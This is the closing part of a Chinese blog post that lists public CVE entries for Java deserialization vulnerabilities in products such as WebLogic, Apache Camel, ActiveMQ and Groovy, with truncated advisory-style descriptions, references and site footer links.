    CVE-2015-6934:erialized-object interfaces in VMware vRealize Orchestrator 6.x, vCenter Orchestrator 5.x, vRealize Operations 6.x, vCenter Operations 5.x, and vCenter Application Discovery Manager (vADM) 7.x allow ...

    CVE-2015-6420:erialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices...

    CVE-2015-5348:pache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.x before 2.16.1, when using (1) camel-jetty or (2) camel-servlet as a consumer in Camel routes, allow remote attackers to execute arbi...

    CVE-2015-5344:he camel-xstream component in Apache Camel before 2.15.5 and 2.16.x before 2.16.1 allow remote attackers to execute arbitrary commands via a crafted serialized Java object in an HTTP request.

    ...

    CVE-2015-5254:pache ActiveMQ 5.x before 5.13.0 does not restrict the classes that can be serialized in the broker, which allows remote attackers to execute arbitrary code via a crafted serialized Java Message Serv...

    CVE-2015-4852:he WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to execute arbitrary commands via a crafted serialized Java object in T3 protoco...

    CVE-2015-3253:he MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted serialized objec...

    CVE-2015-2828:A Spectrum 9.2.x and 9.3.x before 9.3 H02 does not properly validate serialized Java objects, which allows remote authenticated users to obtain administrative privileges via crafted object data.

    ...

    CVE-2015-0225:he default configuration in Apache Cassandra 1.2.0 through 1.2.19, 2.0.0 through 2.0.13, and 2.1.0 through 2.1.3 binds an unauthenticated JMX/RMI interface to all network interfaces, which allows rem...

    CVE-2014-9757:he Ignite Realtime Smack XMPP API, as used in Atlassian Bamboo before 5.9.9 and 5.10.x before 5.10.0, allows remote configured XMPP servers to execute arbitrary Java code via serialized data in an XM...

    CVE-2014-7911:uni/src/main/java/java/io/ObjectInputStream.java in the java.io.ObjectInputStream implementation in Android before 5.0.0 does not verify that deserialization will result in an object that met the req...

    CVE-2013-5960:he authenticated-encryption feature in the symmetric-encryption implementation in the OWASP Enterprise Security API (ESAPI) for Java 2.x before 2.1.0.1 does not properly resist tampering with seriali...

    CVE-2013-5679:he authenticated-encryption feature in the symmetric-encryption implementation in the OWASP Enterprise Security API (ESAPI) for Java 2.x before 2.1.0 does not properly resist tampering with serialize...

    CVE-2013-4271:he default configuration of the ObjectRepresentation class in Restlet before 2.1.4 deserializes objects from untrusted sources, which allows remote attackers to execute arbitrary Java code via a seri...

    CVE-2013-2165:esourceBuilderImpl.java in the RichFaces 3.x through 5.x implementation in Red Hat JBoss Web Framework Kit before 2.3.0, Red Hat JBoss Web Platform through 5.2.0, Red Hat JBoss Enterprise Application...

    CVE-2013-0441:nspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 through Update 11, 6 through Update 38, 5.0 through Update 38, and 1.4.2_40 and earlier, and OpenJDK 6 and...

    CVE-2012-4858:BM Cognos Business Intelligence (BI) 8.4.1 before IF1, 10.1 before IF2, 10.1.1 before IF2, and 10.2 before IF1 does not properly validate Java serialized input, which allows remote attackers to execu...

    CVE-2009-1094:nspecified vulnerability in the LDAP implementation in Java SE Development Kit (JDK) and Java Runtime Environment (JRE) 5.0 Update 17 and earlier; 6 Update 12 and earlier; SDK and JRE 1.3.1_24 and ea...

    CVE-2005-3583:1) Java Runtime Environment (JRE) and (2) Software Development Kit (SDK) 1.4.208, 1.4.209, and 1.5.0_05 and possibly other versions allow remote attackers to cause a denial of service (JVM unrespon...

    CVE-2004-2540:eadObject in (1) Java Runtime Environment (JRE) and (2) Software Development Kit (SDK) 1.4.0 through 1.4.2_05 allows remote attackers to cause a denial of service (JVM unresponsive) via crafted seria...

     

    参考资料

    1. 2017年反序列化漏洞年度报告
    2. Common Vulnerabilities and Exposures
    3. Lib之过?Java反序列化漏洞通用利用分析

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:ELK Stack 笔记

下一篇:tomcat启动startup.bat一闪而过【亲测有效】